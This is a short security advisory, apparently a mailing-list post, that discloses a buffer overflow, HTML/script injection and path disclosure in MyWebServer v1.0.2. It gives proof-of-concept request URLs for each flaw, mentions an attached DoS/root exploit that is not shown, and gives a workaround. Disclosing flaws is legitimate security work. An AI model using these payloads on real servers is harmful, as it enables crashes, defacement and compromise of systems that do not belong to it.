Hi.
Bugs founded in MyWebServer v.1.0.2.
You can download it from www.mywebserver.org.
- Buffer overflow in MWS Search Engine.
Remote attacker can crash web-server (and run shell-code) by sending
keyword with a large size.
Xsploit:
http://vuln_host/MWS/HandleSearch.html?searchTarget=[990b_of_any_data]&B1=Submit
Fix: Turn off "Search Page" in MWS properties
(www.vuln_host.com/admin/ServerProperties.html)
- Remote JS/VB/HTML code execution.
Xsploit:
http://vuln_host/[223b_of_any_data]<font%20size=50>DEFACED<!–//–
- Real patch attack.
Xsploit: http://vuln_host/[not_exists_dir]
Then in the document source we can find patch from \ to wwwroot.
Advisoryed by D4rkGr3y (www.dhgroup.org)
Full information about all bugs (6) in MWS u can find here:
http://www.dhgroup.org/txt/
Only for Russian users.
P.S. Remote DoS\root exploit for MWS attached.